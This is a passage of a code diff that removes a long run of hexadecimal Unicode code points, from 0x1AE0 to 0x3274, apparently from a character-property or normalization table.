-        0x1AE0,
-        0x1AEC,
-        0x1B00,
-        0x1B4D,
-        0x1B4E,
-        0x1BF4,
-        0x1BFC,
-        0x1C38,
-        0x1C3B,
-        0x1C4A,
-        0x1C4D,
-        0x1C80,
-        0x1C81,
-        0x1C82,
-        0x1C83,
-        0x1C84,
-        0x1C86,
-        0x1C87,
-        0x1C88,
-        0x1C89,
-        0x1C8A,
-        0x1C8B,
-        0x1C90,
-        0x1C91,
-        0x1C92,
-        0x1C93,
-        0x1C94,
-        0x1C95,
-        0x1C96,
-        0x1C97,
-        0x1C98,
-        0x1C99,
-        0x1C9A,
-        0x1C9B,
-        0x1C9C,
-        0x1C9D,
-        0x1C9E,
-        0x1C9F,
-        0x1CA0,
-        0x1CA1,
-        0x1CA2,
-        0x1CA3,
-        0x1CA4,
-        0x1CA5,
-        0x1CA6,
-        0x1CA7,
-        0x1CA8,
-        0x1CA9,
-        0x1CAA,
-        0x1CAB,
-        0x1CAC,
-        0x1CAD,
-        0x1CAE,
-        0x1CAF,
-        0x1CB0,
-        0x1CB1,
-        0x1CB2,
-        0x1CB3,
-        0x1CB4,
-        0x1CB5,
-        0x1CB6,
-        0x1CB7,
-        0x1CB8,
-        0x1CB9,
-        0x1CBA,
-        0x1CBB,
-        0x1CBD,
-        0x1CBE,
-        0x1CBF,
-        0x1CC0,
-        0x1CC8,
-        0x1CD0,
-        0x1CFB,
-        0x1D00,
-        0x1D2C,
-        0x1D2D,
-        0x1D2E,
-        0x1D2F,
-        0x1D30,
-        0x1D31,
-        0x1D32,
-        0x1D33,
-        0x1D34,
-        0x1D35,
-        0x1D36,
-        0x1D37,
-        0x1D38,
-        0x1D39,
-        0x1D3A,
-        0x1D3B,
-        0x1D3C,
-        0x1D3D,
-        0x1D3E,
-        0x1D3F,
-        0x1D40,
-        0x1D41,
-        0x1D42,
-        0x1D43,
-        0x1D44,
-        0x1D45,
-        0x1D46,
-        0x1D47,
-        0x1D48,
-        0x1D49,
-        0x1D4A,
-        0x1D4B,
-        0x1D4C,
-        0x1D4D,
-        0x1D4E,
-        0x1D4F,
-        0x1D50,
-        0x1D51,
-        0x1D52,
-        0x1D53,
-        0x1D54,
-        0x1D55,
-        0x1D56,
-        0x1D57,
-        0x1D58,
-        0x1D59,
-        0x1D5A,
-        0x1D5B,
-        0x1D5C,
-        0x1D5D,
-        0x1D5E,
-        0x1D5F,
-        0x1D60,
-        0x1D61,
-        0x1D62,
-        0x1D63,
-        0x1D64,
-        0x1D65,
-        0x1D66,
-        0x1D67,
-        0x1D68,
-        0x1D69,
-        0x1D6A,
-        0x1D6B,
-        0x1D78,
-        0x1D79,
-        0x1D9B,
-        0x1D9C,
-        0x1D9D,
-        0x1D9E,
-        0x1D9F,
-        0x1DA0,
-        0x1DA1,
-        0x1DA2,
-        0x1DA3,
-        0x1DA4,
-        0x1DA5,
-        0x1DA6,
-        0x1DA7,
-        0x1DA8,
-        0x1DA9,
-        0x1DAA,
-        0x1DAB,
-        0x1DAC,
-        0x1DAD,
-        0x1DAE,
-        0x1DAF,
-        0x1DB0,
-        0x1DB1,
-        0x1DB2,
-        0x1DB3,
-        0x1DB4,
-        0x1DB5,
-        0x1DB6,
-        0x1DB7,
-        0x1DB8,
-        0x1DB9,
-        0x1DBA,
-        0x1DBB,
-        0x1DBC,
-        0x1DBD,
-        0x1DBE,
-        0x1DBF,
-        0x1DC0,
-        0x1E00,
-        0x1E01,
-        0x1E02,
-        0x1E03,
-        0x1E04,
-        0x1E05,
-        0x1E06,
-        0x1E07,
-        0x1E08,
-        0x1E09,
-        0x1E0A,
-        0x1E0B,
-        0x1E0C,
-        0x1E0D,
-        0x1E0E,
-        0x1E0F,
-        0x1E10,
-        0x1E11,
-        0x1E12,
-        0x1E13,
-        0x1E14,
-        0x1E15,
-        0x1E16,
-        0x1E17,
-        0x1E18,
-        0x1E19,
-        0x1E1A,
-        0x1E1B,
-        0x1E1C,
-        0x1E1D,
-        0x1E1E,
-        0x1E1F,
-        0x1E20,
-        0x1E21,
-        0x1E22,
-        0x1E23,
-        0x1E24,
-        0x1E25,
-        0x1E26,
-        0x1E27,
-        0x1E28,
-        0x1E29,
-        0x1E2A,
-        0x1E2B,
-        0x1E2C,
-        0x1E2D,
-        0x1E2E,
-        0x1E2F,
-        0x1E30,
-        0x1E31,
-        0x1E32,
-        0x1E33,
-        0x1E34,
-        0x1E35,
-        0x1E36,
-        0x1E37,
-        0x1E38,
-        0x1E39,
-        0x1E3A,
-        0x1E3B,
-        0x1E3C,
-        0x1E3D,
-        0x1E3E,
-        0x1E3F,
-        0x1E40,
-        0x1E41,
-        0x1E42,
-        0x1E43,
-        0x1E44,
-        0x1E45,
-        0x1E46,
-        0x1E47,
-        0x1E48,
-        0x1E49,
-        0x1E4A,
-        0x1E4B,
-        0x1E4C,
-        0x1E4D,
-        0x1E4E,
-        0x1E4F,
-        0x1E50,
-        0x1E51,
-        0x1E52,
-        0x1E53,
-        0x1E54,
-        0x1E55,
-        0x1E56,
-        0x1E57,
-        0x1E58,
-        0x1E59,
-        0x1E5A,
-        0x1E5B,
-        0x1E5C,
-        0x1E5D,
-        0x1E5E,
-        0x1E5F,
-        0x1E60,
-        0x1E61,
-        0x1E62,
-        0x1E63,
-        0x1E64,
-        0x1E65,
-        0x1E66,
-        0x1E67,
-        0x1E68,
-        0x1E69,
-        0x1E6A,
-        0x1E6B,
-        0x1E6C,
-        0x1E6D,
-        0x1E6E,
-        0x1E6F,
-        0x1E70,
-        0x1E71,
-        0x1E72,
-        0x1E73,
-        0x1E74,
-        0x1E75,
-        0x1E76,
-        0x1E77,
-        0x1E78,
-        0x1E79,
-        0x1E7A,
-        0x1E7B,
-        0x1E7C,
-        0x1E7D,
-        0x1E7E,
-        0x1E7F,
-        0x1E80,
-        0x1E81,
-        0x1E82,
-        0x1E83,
-        0x1E84,
-        0x1E85,
-        0x1E86,
-        0x1E87,
-        0x1E88,
-        0x1E89,
-        0x1E8A,
-        0x1E8B,
-        0x1E8C,
-        0x1E8D,
-        0x1E8E,
-        0x1E8F,
-        0x1E90,
-        0x1E91,
-        0x1E92,
-        0x1E93,
-        0x1E94,
-        0x1E95,
-        0x1E9A,
-        0x1E9B,
-        0x1E9C,
-        0x1E9E,
-        0x1E9F,
-        0x1EA0,
-        0x1EA1,
-        0x1EA2,
-        0x1EA3,
-        0x1EA4,
-        0x1EA5,
-        0x1EA6,
-        0x1EA7,
-        0x1EA8,
-        0x1EA9,
-        0x1EAA,
-        0x1EAB,
-        0x1EAC,
-        0x1EAD,
-        0x1EAE,
-        0x1EAF,
-        0x1EB0,
-        0x1EB1,
-        0x1EB2,
-        0x1EB3,
-        0x1EB4,
-        0x1EB5,
-        0x1EB6,
-        0x1EB7,
-        0x1EB8,
-        0x1EB9,
-        0x1EBA,
-        0x1EBB,
-        0x1EBC,
-        0x1EBD,
-        0x1EBE,
-        0x1EBF,
-        0x1EC0,
-        0x1EC1,
-        0x1EC2,
-        0x1EC3,
-        0x1EC4,
-        0x1EC5,
-        0x1EC6,
-        0x1EC7,
-        0x1EC8,
-        0x1EC9,
-        0x1ECA,
-        0x1ECB,
-        0x1ECC,
-        0x1ECD,
-        0x1ECE,
-        0x1ECF,
-        0x1ED0,
-        0x1ED1,
-        0x1ED2,
-        0x1ED3,
-        0x1ED4,
-        0x1ED5,
-        0x1ED6,
-        0x1ED7,
-        0x1ED8,
-        0x1ED9,
-        0x1EDA,
-        0x1EDB,
-        0x1EDC,
-        0x1EDD,
-        0x1EDE,
-        0x1EDF,
-        0x1EE0,
-        0x1EE1,
-        0x1EE2,
-        0x1EE3,
-        0x1EE4,
-        0x1EE5,
-        0x1EE6,
-        0x1EE7,
-        0x1EE8,
-        0x1EE9,
-        0x1EEA,
-        0x1EEB,
-        0x1EEC,
-        0x1EED,
-        0x1EEE,
-        0x1EEF,
-        0x1EF0,
-        0x1EF1,
-        0x1EF2,
-        0x1EF3,
-        0x1EF4,
-        0x1EF5,
-        0x1EF6,
-        0x1EF7,
-        0x1EF8,
-        0x1EF9,
-        0x1EFA,
-        0x1EFB,
-        0x1EFC,
-        0x1EFD,
-        0x1EFE,
-        0x1EFF,
-        0x1F08,
-        0x1F09,
-        0x1F0A,
-        0x1F0B,
-        0x1F0C,
-        0x1F0D,
-        0x1F0E,
-        0x1F0F,
-        0x1F10,
-        0x1F16,
-        0x1F18,
-        0x1F19,
-        0x1F1A,
-        0x1F1B,
-        0x1F1C,
-        0x1F1D,
-        0x1F1E,
-        0x1F20,
-        0x1F28,
-        0x1F29,
-        0x1F2A,
-        0x1F2B,
-        0x1F2C,
-        0x1F2D,
-        0x1F2E,
-        0x1F2F,
-        0x1F30,
-        0x1F38,
-        0x1F39,
-        0x1F3A,
-        0x1F3B,
-        0x1F3C,
-        0x1F3D,
-        0x1F3E,
-        0x1F3F,
-        0x1F40,
-        0x1F46,
-        0x1F48,
-        0x1F49,
-        0x1F4A,
-        0x1F4B,
-        0x1F4C,
-        0x1F4D,
-        0x1F4E,
-        0x1F50,
-        0x1F58,
-        0x1F59,
-        0x1F5A,
-        0x1F5B,
-        0x1F5C,
-        0x1F5D,
-        0x1F5E,
-        0x1F5F,
-        0x1F60,
-        0x1F68,
-        0x1F69,
-        0x1F6A,
-        0x1F6B,
-        0x1F6C,
-        0x1F6D,
-        0x1F6E,
-        0x1F6F,
-        0x1F70,
-        0x1F71,
-        0x1F72,
-        0x1F73,
-        0x1F74,
-        0x1F75,
-        0x1F76,
-        0x1F77,
-        0x1F78,
-        0x1F79,
-        0x1F7A,
-        0x1F7B,
-        0x1F7C,
-        0x1F7D,
-        0x1F7E,
-        0x1F80,
-        0x1F81,
-        0x1F82,
-        0x1F83,
-        0x1F84,
-        0x1F85,
-        0x1F86,
-        0x1F87,
-        0x1F88,
-        0x1F89,
-        0x1F8A,
-        0x1F8B,
-        0x1F8C,
-        0x1F8D,
-        0x1F8E,
-        0x1F8F,
-        0x1F90,
-        0x1F91,
-        0x1F92,
-        0x1F93,
-        0x1F94,
-        0x1F95,
-        0x1F96,
-        0x1F97,
-        0x1F98,
-        0x1F99,
-        0x1F9A,
-        0x1F9B,
-        0x1F9C,
-        0x1F9D,
-        0x1F9E,
-        0x1F9F,
-        0x1FA0,
-        0x1FA1,
-        0x1FA2,
-        0x1FA3,
-        0x1FA4,
-        0x1FA5,
-        0x1FA6,
-        0x1FA7,
-        0x1FA8,
-        0x1FA9,
-        0x1FAA,
-        0x1FAB,
-        0x1FAC,
-        0x1FAD,
-        0x1FAE,
-        0x1FAF,
-        0x1FB0,
-        0x1FB2,
-        0x1FB3,
-        0x1FB4,
-        0x1FB5,
-        0x1FB6,
-        0x1FB7,
-        0x1FB8,
-        0x1FB9,
-        0x1FBA,
-        0x1FBB,
-        0x1FBC,
-        0x1FBD,
-        0x1FBE,
-        0x1FBF,
-        0x1FC0,
-        0x1FC1,
-        0x1FC2,
-        0x1FC3,
-        0x1FC4,
-        0x1FC5,
-        0x1FC6,
-        0x1FC7,
-        0x1FC8,
-        0x1FC9,
-        0x1FCA,
-        0x1FCB,
-        0x1FCC,
-        0x1FCD,
-        0x1FCE,
-        0x1FCF,
-        0x1FD0,
-        0x1FD3,
-        0x1FD4,
-        0x1FD6,
-        0x1FD8,
-        0x1FD9,
-        0x1FDA,
-        0x1FDB,
-        0x1FDC,
-        0x1FDD,
-        0x1FDE,
-        0x1FDF,
-        0x1FE0,
-        0x1FE3,
-        0x1FE4,
-        0x1FE8,
-        0x1FE9,
-        0x1FEA,
-        0x1FEB,
-        0x1FEC,
-        0x1FED,
-        0x1FEE,
-        0x1FEF,
-        0x1FF0,
-        0x1FF2,
-        0x1FF3,
-        0x1FF4,
-        0x1FF5,
-        0x1FF6,
-        0x1FF7,
-        0x1FF8,
-        0x1FF9,
-        0x1FFA,
-        0x1FFB,
-        0x1FFC,
-        0x1FFD,
-        0x1FFE,
-        0x1FFF,
-        0x2000,
-        0x200B,
-        0x200C,
-        0x200E,
-        0x2010,
-        0x2011,
-        0x2012,
-        0x2017,
-        0x2018,
-        0x2024,
-        0x2027,
-        0x2028,
-        0x202F,
-        0x2030,
-        0x2033,
-        0x2034,
-        0x2035,
-        0x2036,
-        0x2037,
-        0x2038,
-        0x203C,
-        0x203D,
-        0x203E,
-        0x203F,
-        0x2047,
-        0x2048,
-        0x2049,
-        0x204A,
-        0x2057,
-        0x2058,
-        0x205F,
-        0x2060,
-        0x2065,
-        0x206A,
-        0x2070,
-        0x2071,
-        0x2072,
-        0x2074,
-        0x2075,
-        0x2076,
-        0x2077,
-        0x2078,
-        0x2079,
-        0x207A,
-        0x207B,
-        0x207C,
-        0x207D,
-        0x207E,
-        0x207F,
-        0x2080,
-        0x2081,
-        0x2082,
-        0x2083,
-        0x2084,
-        0x2085,
-        0x2086,
-        0x2087,
-        0x2088,
-        0x2089,
-        0x208A,
-        0x208B,
-        0x208C,
-        0x208D,
-        0x208E,
-        0x208F,
-        0x2090,
-        0x2091,
-        0x2092,
-        0x2093,
-        0x2094,
-        0x2095,
-        0x2096,
-        0x2097,
-        0x2098,
-        0x2099,
-        0x209A,
-        0x209B,
-        0x209C,
-        0x209D,
-        0x20A0,
-        0x20A8,
-        0x20A9,
-        0x20C2,
-        0x20D0,
-        0x20F1,
-        0x2100,
-        0x2101,
-        0x2102,
-        0x2103,
-        0x2104,
-        0x2105,
-        0x2106,
-        0x2107,
-        0x2108,
-        0x2109,
-        0x210A,
-        0x210B,
-        0x210F,
-        0x2110,
-        0x2112,
-        0x2114,
-        0x2115,
-        0x2116,
-        0x2117,
-        0x2119,
-        0x211A,
-        0x211B,
-        0x211E,
-        0x2120,
-        0x2121,
-        0x2122,
-        0x2123,
-        0x2124,
-        0x2125,
-        0x2126,
-        0x2127,
-        0x2128,
-        0x2129,
-        0x212A,
-        0x212B,
-        0x212C,
-        0x212D,
-        0x212E,
-        0x212F,
-        0x2131,
-        0x2132,
-        0x2133,
-        0x2134,
-        0x2135,
-        0x2136,
-        0x2137,
-        0x2138,
-        0x2139,
-        0x213A,
-        0x213B,
-        0x213C,
-        0x213D,
-        0x213F,
-        0x2140,
-        0x2141,
-        0x2145,
-        0x2147,
-        0x2148,
-        0x2149,
-        0x214A,
-        0x2150,
-        0x2151,
-        0x2152,
-        0x2153,
-        0x2154,
-        0x2155,
-        0x2156,
-        0x2157,
-        0x2158,
-        0x2159,
-        0x215A,
-        0x215B,
-        0x215C,
-        0x215D,
-        0x215E,
-        0x215F,
-        0x2160,
-        0x2161,
-        0x2162,
-        0x2163,
-        0x2164,
-        0x2165,
-        0x2166,
-        0x2167,
-        0x2168,
-        0x2169,
-        0x216A,
-        0x216B,
-        0x216C,
-        0x216D,
-        0x216E,
-        0x216F,
-        0x2170,
-        0x2171,
-        0x2172,
-        0x2173,
-        0x2174,
-        0x2175,
-        0x2176,
-        0x2177,
-        0x2178,
-        0x2179,
-        0x217A,
-        0x217B,
-        0x217C,
-        0x217D,
-        0x217E,
-        0x217F,
-        0x2180,
-        0x2183,
-        0x2184,
-        0x2189,
-        0x218A,
-        0x218C,
-        0x2190,
-        0x222C,
-        0x222D,
-        0x222E,
-        0x222F,
-        0x2230,
-        0x2231,
-        0x2329,
-        0x232A,
-        0x232B,
-        0x242A,
-        0x2440,
-        0x244B,
-        0x2460,
-        0x2461,
-        0x2462,
-        0x2463,
-        0x2464,
-        0x2465,
-        0x2466,
-        0x2467,
-        0x2468,
-        0x2469,
-        0x246A,
-        0x246B,
-        0x246C,
-        0x246D,
-        0x246E,
-        0x246F,
-        0x2470,
-        0x2471,
-        0x2472,
-        0x2473,
-        0x2474,
-        0x2475,
-        0x2476,
-        0x2477,
-        0x2478,
-        0x2479,
-        0x247A,
-        0x247B,
-        0x247C,
-        0x247D,
-        0x247E,
-        0x247F,
-        0x2480,
-        0x2481,
-        0x2482,
-        0x2483,
-        0x2484,
-        0x2485,
-        0x2486,
-        0x2487,
-        0x2488,
-        0x249C,
-        0x249D,
-        0x249E,
-        0x249F,
-        0x24A0,
-        0x24A1,
-        0x24A2,
-        0x24A3,
-        0x24A4,
-        0x24A5,
-        0x24A6,
-        0x24A7,
-        0x24A8,
-        0x24A9,
-        0x24AA,
-        0x24AB,
-        0x24AC,
-        0x24AD,
-        0x24AE,
-        0x24AF,
-        0x24B0,
-        0x24B1,
-        0x24B2,
-        0x24B3,
-        0x24B4,
-        0x24B5,
-        0x24B6,
-        0x24B7,
-        0x24B8,
-        0x24B9,
-        0x24BA,
-        0x24BB,
-        0x24BC,
-        0x24BD,
-        0x24BE,
-        0x24BF,
-        0x24C0,
-        0x24C1,
-        0x24C2,
-        0x24C3,
-        0x24C4,
-        0x24C5,
-        0x24C6,
-        0x24C7,
-        0x24C8,
-        0x24C9,
-        0x24CA,
-        0x24CB,
-        0x24CC,
-        0x24CD,
-        0x24CE,
-        0x24CF,
-        0x24D0,
-        0x24D1,
-        0x24D2,
-        0x24D3,
-        0x24D4,
-        0x24D5,
-        0x24D6,
-        0x24D7,
-        0x24D8,
-        0x24D9,
-        0x24DA,
-        0x24DB,
-        0x24DC,
-        0x24DD,
-        0x24DE,
-        0x24DF,
-        0x24E0,
-        0x24E1,
-        0x24E2,
-        0x24E3,
-        0x24E4,
-        0x24E5,
-        0x24E6,
-        0x24E7,
-        0x24E8,
-        0x24E9,
-        0x24EA,
-        0x24EB,
-        0x2A0C,
-        0x2A0D,
-        0x2A74,
-        0x2A75,
-        0x2A76,
-        0x2A77,
-        0x2ADC,
-        0x2ADD,
-        0x2B74,
-        0x2B76,
-        0x2C00,
-        0x2C01,
-        0x2C02,
-        0x2C03,
-        0x2C04,
-        0x2C05,
-        0x2C06,
-        0x2C07,
-        0x2C08,
-        0x2C09,
-        0x2C0A,
-        0x2C0B,
-        0x2C0C,
-        0x2C0D,
-        0x2C0E,
-        0x2C0F,
-        0x2C10,
-        0x2C11,
-        0x2C12,
-        0x2C13,
-        0x2C14,
-        0x2C15,
-        0x2C16,
-        0x2C17,
-        0x2C18,
-        0x2C19,
-        0x2C1A,
-        0x2C1B,
-        0x2C1C,
-        0x2C1D,
-        0x2C1E,
-        0x2C1F,
-        0x2C20,
-        0x2C21,
-        0x2C22,
-        0x2C23,
-        0x2C24,
-        0x2C25,
-        0x2C26,
-        0x2C27,
-        0x2C28,
-        0x2C29,
-        0x2C2A,
-        0x2C2B,
-        0x2C2C,
-        0x2C2D,
-        0x2C2E,
-        0x2C2F,
-        0x2C30,
-        0x2C60,
-        0x2C61,
-        0x2C62,
-        0x2C63,
-        0x2C64,
-        0x2C65,
-        0x2C67,
-        0x2C68,
-        0x2C69,
-        0x2C6A,
-        0x2C6B,
-        0x2C6C,
-        0x2C6D,
-        0x2C6E,
-        0x2C6F,
-        0x2C70,
-        0x2C71,
-        0x2C72,
-        0x2C73,
-        0x2C75,
-        0x2C76,
-        0x2C7C,
-        0x2C7D,
-        0x2C7E,
-        0x2C7F,
-        0x2C80,
-        0x2C81,
-        0x2C82,
-        0x2C83,
-        0x2C84,
-        0x2C85,
-        0x2C86,
-        0x2C87,
-        0x2C88,
-        0x2C89,
-        0x2C8A,
-        0x2C8B,
-        0x2C8C,
-        0x2C8D,
-        0x2C8E,
-        0x2C8F,
-        0x2C90,
-        0x2C91,
-        0x2C92,
-        0x2C93,
-        0x2C94,
-        0x2C95,
-        0x2C96,
-        0x2C97,
-        0x2C98,
-        0x2C99,
-        0x2C9A,
-        0x2C9B,
-        0x2C9C,
-        0x2C9D,
-        0x2C9E,
-        0x2C9F,
-        0x2CA0,
-        0x2CA1,
-        0x2CA2,
-        0x2CA3,
-        0x2CA4,
-        0x2CA5,
-        0x2CA6,
-        0x2CA7,
-        0x2CA8,
-        0x2CA9,
-        0x2CAA,
-        0x2CAB,
-        0x2CAC,
-        0x2CAD,
-        0x2CAE,
-        0x2CAF,
-        0x2CB0,
-        0x2CB1,
-        0x2CB2,
-        0x2CB3,
-        0x2CB4,
-        0x2CB5,
-        0x2CB6,
-        0x2CB7,
-        0x2CB8,
-        0x2CB9,
-        0x2CBA,
-        0x2CBB,
-        0x2CBC,
-        0x2CBD,
-        0x2CBE,
-        0x2CBF,
-        0x2CC0,
-        0x2CC1,
-        0x2CC2,
-        0x2CC3,
-        0x2CC4,
-        0x2CC5,
-        0x2CC6,
-        0x2CC7,
-        0x2CC8,
-        0x2CC9,
-        0x2CCA,
-        0x2CCB,
-        0x2CCC,
-        0x2CCD,
-        0x2CCE,
-        0x2CCF,
-        0x2CD0,
-        0x2CD1,
-        0x2CD2,
-        0x2CD3,
-        0x2CD4,
-        0x2CD5,
-        0x2CD6,
-        0x2CD7,
-        0x2CD8,
-        0x2CD9,
-        0x2CDA,
-        0x2CDB,
-        0x2CDC,
-        0x2CDD,
-        0x2CDE,
-        0x2CDF,
-        0x2CE0,
-        0x2CE1,
-        0x2CE2,
-        0x2CE3,
-        0x2CEB,
-        0x2CEC,
-        0x2CED,
-        0x2CEE,
-        0x2CF2,
-        0x2CF3,
-        0x2CF4,
-        0x2CF9,
-        0x2D26,
-        0x2D27,
-        0x2D28,
-        0x2D2D,
-        0x2D2E,
-        0x2D30,
-        0x2D68,
-        0x2D6F,
-        0x2D70,
-        0x2D71,
-        0x2D7F,
-        0x2D97,
-        0x2DA0,
-        0x2DA7,
-        0x2DA8,
-        0x2DAF,
-        0x2DB0,
-        0x2DB7,
-        0x2DB8,
-        0x2DBF,
-        0x2DC0,
-        0x2DC7,
-        0x2DC8,
-        0x2DCF,
-        0x2DD0,
-        0x2DD7,
-        0x2DD8,
-        0x2DDF,
-        0x2DE0,
-        0x2E5E,
-        0x2E80,
-        0x2E9A,
-        0x2E9B,
-        0x2E9F,
-        0x2EA0,
-        0x2EF3,
-        0x2EF4,
-        0x2F00,
-        0x2F01,
-        0x2F02,
-        0x2F03,
-        0x2F04,
-        0x2F05,
-        0x2F06,
-        0x2F07,
-        0x2F08,
-        0x2F09,
-        0x2F0A,
-        0x2F0B,
-        0x2F0C,
-        0x2F0D,
-        0x2F0E,
-        0x2F0F,
-        0x2F10,
-        0x2F11,
-        0x2F12,
-        0x2F13,
-        0x2F14,
-        0x2F15,
-        0x2F16,
-        0x2F17,
-        0x2F18,
-        0x2F19,
-        0x2F1A,
-        0x2F1B,
-        0x2F1C,
-        0x2F1D,
-        0x2F1E,
-        0x2F1F,
-        0x2F20,
-        0x2F21,
-        0x2F22,
-        0x2F23,
-        0x2F24,
-        0x2F25,
-        0x2F26,
-        0x2F27,
-        0x2F28,
-        0x2F29,
-        0x2F2A,
-        0x2F2B,
-        0x2F2C,
-        0x2F2D,
-        0x2F2E,
-        0x2F2F,
-        0x2F30,
-        0x2F31,
-        0x2F32,
-        0x2F33,
-        0x2F34,
-        0x2F35,
-        0x2F36,
-        0x2F37,
-        0x2F38,
-        0x2F39,
-        0x2F3A,
-        0x2F3B,
-        0x2F3C,
-        0x2F3D,
-        0x2F3E,
-        0x2F3F,
-        0x2F40,
-        0x2F41,
-        0x2F42,
-        0x2F43,
-        0x2F44,
-        0x2F45,
-        0x2F46,
-        0x2F47,
-        0x2F48,
-        0x2F49,
-        0x2F4A,
-        0x2F4B,
-        0x2F4C,
-        0x2F4D,
-        0x2F4E,
-        0x2F4F,
-        0x2F50,
-        0x2F51,
-        0x2F52,
-        0x2F53,
-        0x2F54,
-        0x2F55,
-        0x2F56,
-        0x2F57,
-        0x2F58,
-        0x2F59,
-        0x2F5A,
-        0x2F5B,
-        0x2F5C,
-        0x2F5D,
-        0x2F5E,
-        0x2F5F,
-        0x2F60,
-        0x2F61,
-        0x2F62,
-        0x2F63,
-        0x2F64,
-        0x2F65,
-        0x2F66,
-        0x2F67,
-        0x2F68,
-        0x2F69,
-        0x2F6A,
-        0x2F6B,
-        0x2F6C,
-        0x2F6D,
-        0x2F6E,
-        0x2F6F,
-        0x2F70,
-        0x2F71,
-        0x2F72,
-        0x2F73,
-        0x2F74,
-        0x2F75,
-        0x2F76,
-        0x2F77,
-        0x2F78,
-        0x2F79,
-        0x2F7A,
-        0x2F7B,
-        0x2F7C,
-        0x2F7D,
-        0x2F7E,
-        0x2F7F,
-        0x2F80,
-        0x2F81,
-        0x2F82,
-        0x2F83,
-        0x2F84,
-        0x2F85,
-        0x2F86,
-        0x2F87,
-        0x2F88,
-        0x2F89,
-        0x2F8A,
-        0x2F8B,
-        0x2F8C,
-        0x2F8D,
-        0x2F8E,
-        0x2F8F,
-        0x2F90,
-        0x2F91,
-        0x2F92,
-        0x2F93,
-        0x2F94,
-        0x2F95,
-        0x2F96,
-        0x2F97,
-        0x2F98,
-        0x2F99,
-        0x2F9A,
-        0x2F9B,
-        0x2F9C,
-        0x2F9D,
-        0x2F9E,
-        0x2F9F,
-        0x2FA0,
-        0x2FA1,
-        0x2FA2,
-        0x2FA3,
-        0x2FA4,
-        0x2FA5,
-        0x2FA6,
-        0x2FA7,
-        0x2FA8,
-        0x2FA9,
-        0x2FAA,
-        0x2FAB,
-        0x2FAC,
-        0x2FAD,
-        0x2FAE,
-        0x2FAF,
-        0x2FB0,
-        0x2FB1,
-        0x2FB2,
-        0x2FB3,
-        0x2FB4,
-        0x2FB5,
-        0x2FB6,
-        0x2FB7,
-        0x2FB8,
-        0x2FB9,
-        0x2FBA,
-        0x2FBB,
-        0x2FBC,
-        0x2FBD,
-        0x2FBE,
-        0x2FBF,
-        0x2FC0,
-        0x2FC1,
-        0x2FC2,
-        0x2FC3,
-        0x2FC4,
-        0x2FC5,
-        0x2FC6,
-        0x2FC7,
-        0x2FC8,
-        0x2FC9,
-        0x2FCA,
-        0x2FCB,
-        0x2FCC,
-        0x2FCD,
-        0x2FCE,
-        0x2FCF,
-        0x2FD0,
-        0x2FD1,
-        0x2FD2,
-        0x2FD3,
-        0x2FD4,
-        0x2FD5,
-        0x2FD6,
-        0x3000,
-        0x3001,
-        0x3002,
-        0x3003,
-        0x3036,
-        0x3037,
-        0x3038,
-        0x3039,
-        0x303A,
-        0x303B,
-        0x3040,
-        0x3041,
-        0x3097,
-        0x3099,
-        0x309B,
-        0x309C,
-        0x309D,
-        0x309F,
-        0x30A0,
-        0x30FF,
-        0x3100,
-        0x3105,
-        0x3130,
-        0x3131,
-        0x3132,
-        0x3133,
-        0x3134,
-        0x3135,
-        0x3136,
-        0x3137,
-        0x3138,
-        0x3139,
-        0x313A,
-        0x313B,
-        0x313C,
-        0x313D,
-        0x313E,
-        0x313F,
-        0x3140,
-        0x3141,
-        0x3142,
-        0x3143,
-        0x3144,
-        0x3145,
-        0x3146,
-        0x3147,
-        0x3148,
-        0x3149,
-        0x314A,
-        0x314B,
-        0x314C,
-        0x314D,
-        0x314E,
-        0x314F,
-        0x3150,
-        0x3151,
-        0x3152,
-        0x3153,
-        0x3154,
-        0x3155,
-        0x3156,
-        0x3157,
-        0x3158,
-        0x3159,
-        0x315A,
-        0x315B,
-        0x315C,
-        0x315D,
-        0x315E,
-        0x315F,
-        0x3160,
-        0x3161,
-        0x3162,
-        0x3163,
-        0x3164,
-        0x3165,
-        0x3166,
-        0x3167,
-        0x3168,
-        0x3169,
-        0x316A,
-        0x316B,
-        0x316C,
-        0x316D,
-        0x316E,
-        0x316F,
-        0x3170,
-        0x3171,
-        0x3172,
-        0x3173,
-        0x3174,
-        0x3175,
-        0x3176,
-        0x3177,
-        0x3178,
-        0x3179,
-        0x317A,
-        0x317B,
-        0x317C,
-        0x317D,
-        0x317E,
-        0x317F,
-        0x3180,
-        0x3181,
-        0x3182,
-        0x3183,
-        0x3184,
-        0x3185,
-        0x3186,
-        0x3187,
-        0x3188,
-        0x3189,
-        0x318A,
-        0x318B,
-        0x318C,
-        0x318D,
-        0x318E,
-        0x318F,
-        0x3190,
-        0x3192,
-        0x3193,
-        0x3194,
-        0x3195,
-        0x3196,
-        0x3197,
-        0x3198,
-        0x3199,
-        0x319A,
-        0x319B,
-        0x319C,
-        0x319D,
-        0x319E,
-        0x319F,
-        0x31A0,
-        0x31E6,
-        0x31F0,
-        0x3200,
-        0x3201,
-        0x3202,
-        0x3203,
-        0x3204,
-        0x3205,
-        0x3206,
-        0x3207,
-        0x3208,
-        0x3209,
-        0x320A,
-        0x320B,
-        0x320C,
-        0x320D,
-        0x320E,
-        0x320F,
-        0x3210,
-        0x3211,
-        0x3212,
-        0x3213,
-        0x3214,
-        0x3215,
-        0x3216,
-        0x3217,
-        0x3218,
-        0x3219,
-        0x321A,
-        0x321B,
-        0x321C,
-        0x321D,
-        0x321E,
-        0x321F,
-        0x3220,
-        0x3221,
-        0x3222,
-        0x3223,
-        0x3224,
-        0x3225,
-        0x3226,
-        0x3227,
-        0x3228,
-        0x3229,
-        0x322A,
-        0x322B,
-        0x322C,
-        0x322D,
-        0x322E,
-        0x322F,
-        0x3230,
-        0x3231,
-        0x3232,
-        0x3233,
-        0x3234,
-        0x3235,
-        0x3236,
-        0x3237,
-        0x3238,
-        0x3239,
-        0x323A,
-        0x323B,
-        0x323C,
-        0x323D,
-        0x323E,
-        0x323F,
-        0x3240,
-        0x3241,
-        0x3242,
-        0x3243,
-        0x3244,
-        0x3245,
-        0x3246,
-        0x3247,
-        0x3248,
-        0x3250,
-        0x3251,
-        0x3252,
-        0x3253,
-        0x3254,
-        0x3255,
-        0x3256,
-        0x3257,
-        0x3258,
-        0x3259,
-        0x325A,
-        0x325B,
-        0x325C,
-        0x325D,
-        0x325E,
-        0x325F,
-        0x3260,
-        0x3261,
-        0x3262,
-        0x3263,
-        0x3264,
-        0x3265,
-        0x3266,
-        0x3267,
-        0x3268,
-        0x3269,
-        0x326A,
-        0x326B,
-        0x326C,
-        0x326D,
-        0x326E,
-        0x326F,
-        0x3270,
-        0x3271,
-        0x3272,
-        0x3273,
-        0x3274,
